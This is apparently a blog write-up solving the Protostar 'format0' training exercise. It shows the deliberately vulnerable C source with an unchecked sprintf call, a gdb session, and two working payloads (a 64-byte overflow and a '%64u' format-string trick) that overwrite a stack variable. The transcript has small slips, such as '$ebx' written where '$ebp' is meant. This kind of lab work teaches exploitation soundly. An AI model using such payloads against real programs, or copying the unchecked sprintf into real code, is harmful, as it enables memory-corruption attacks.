Protostar exploits format0

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/format0
user@protostar:~$

Exploit

Program should print the message “you have hit the target correctly :)”.

Hint from protostar: This level should be done in less than 10 bytes of input.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
 volatile int target;
 char buffer[64];

 target = 0;

 sprintf(buffer, string);
 
 if(target == 0xdeadbeef) {
 printf("you have hit the target correctly :)\n");
 }
}

int main(int argc, char **argv)
{
 vuln(argv[1]);
}

It appears that by setting the variable “target” to 0xdeadbeef we should get the message.

This challenge is based on format string vulnerability so sprintf looks like the candidate to attack. argv[1] is passed from main to vuln() which in turn passed to sprintf(). sprintf will print from source string into destination string. There are no direct assignments made from user controlled input to “target” variable.

How can we write into the ‘target’ variable?

Well there are two obvious possibilities, stack overflow through the sprintf call and overwrite ‘target’, or use format string exploit against sprintf and overwrite ‘target’ memory location using %n modifier. Well the challenge is to leverage the format string vulnerability.

I initially attempted to overwrite the memory location of ‘target’ using a combination of %(width size)x, %(parameter stack position), and $hhn for byte overwrite. This was unsuccessful because I ended up having to write more than 10 bytes for the program input and my total width values were so long that I ended up corrupting the stack and causing the program to crash before reaching the conditional check for the contents of ‘target’.

The final solution was to use the format string exploit in combination with a buffer overflow. The buffer belonging to variable named ‘buffer’ which is 64 bytes long. Since ‘target’ is declared right before ‘buffer’ we should only need to overwrite the ‘buffer’ by an extra 4 bytes.

I’m going to prepare a buffer of 60 AAAAs and 4 bytes of Ts write up to the location of ‘target’ but not over. This will verify if the exploit will work.

user@protostar:~$ gdb -q --args /opt/protostar/bin/format0 `perl -e 'print "A"x60 . "T"x4'`
Reading symbols from /opt/protostar/bin/format0...done.
(gdb) b vuln
Breakpoint 1 at 0x80483fa: file format0/format0.c, line 11.
(gdb) c
The program is not being run.
(gdb) disassemble
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>: push %ebp
0x080483f5 <vuln+1>: mov %esp,%ebp
0x080483f7 <vuln+3>: sub $0x68,%esp
0x080483fa <vuln+6>: movl $0x0,-0xc(%ebp)
0x08048401 <vuln+13>: mov 0x8(%ebp),%eax
0x08048404 <vuln+16>: mov %eax,0x4(%esp)
0x08048408 <vuln+20>: lea -0x4c(%ebp),%eax
0x0804840b <vuln+23>: mov %eax,(%esp)
0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt>
0x08048413 <vuln+31>: mov -0xc(%ebp),%eax
0x08048416 <vuln+34>: cmp $0xdeadbeef,%eax
0x0804841b <vuln+39>: jne 0x8048429 <vuln+53>
0x0804841d <vuln+41>: movl $0x8048510,(%esp)
0x08048424 <vuln+48>: call 0x8048330 <puts@plt>
0x08048429 <vuln+53>: leave
0x0804842a <vuln+54>: ret
End of assembler dump.
(gdb) b *0x08048416
Breakpoint 2 at 0x8048416: file format0/format0.c, line 15.
(gdb) c
Continuing.

Breakpoint 2, 0x08048416 in vuln (string=0xbffff967 'A' <repeats 60 times>, "TTTT") at format0/format0.c:15
15 if(target == 0xdeadbeef) {

Judging from the instruction at 0x08048413, ‘target’ memory location appears to be at $ebx-0xc

(gdb) print $ebp-0xc
$3 = (void *) 0xbffff75c
(gdb) x /68xb $ebp-0xc-64
0xbffff71c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff724: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff72c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff734: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff73c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff744: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff74c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff754: 0x41 0x41 0x41 0x41 0x54 0x54 0x54 0x54
0xbffff75c: 0x00 0x00 0x00 0x00

We can see the buffer is filled with 0x41=’A’ and 0x54=’T’s then some 0x0

Let’s change the exploit by adding the value “deadbeef” in reverse byte order to the end of the payload.

user@protostar:~$ /opt/protostar/bin/format0 `perl -e 'print "A"x60 . "T"x4 . "\xef\xbe\xad\xde"'`
you have hit the target correctly :)

It worked. But this is just a buffer overflow, we need to incorporate a format string exploit too.

We can use the unsigned decimal integer width field modifier %(int)u to help fill the buffer.

user@protostar:~$ /opt/protostar/bin/format0 `perl -e 'print "%64u" . "\xef\xbe\xad\xde"'`
you have hit the target correctly :)

There you have it.

Thank you

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s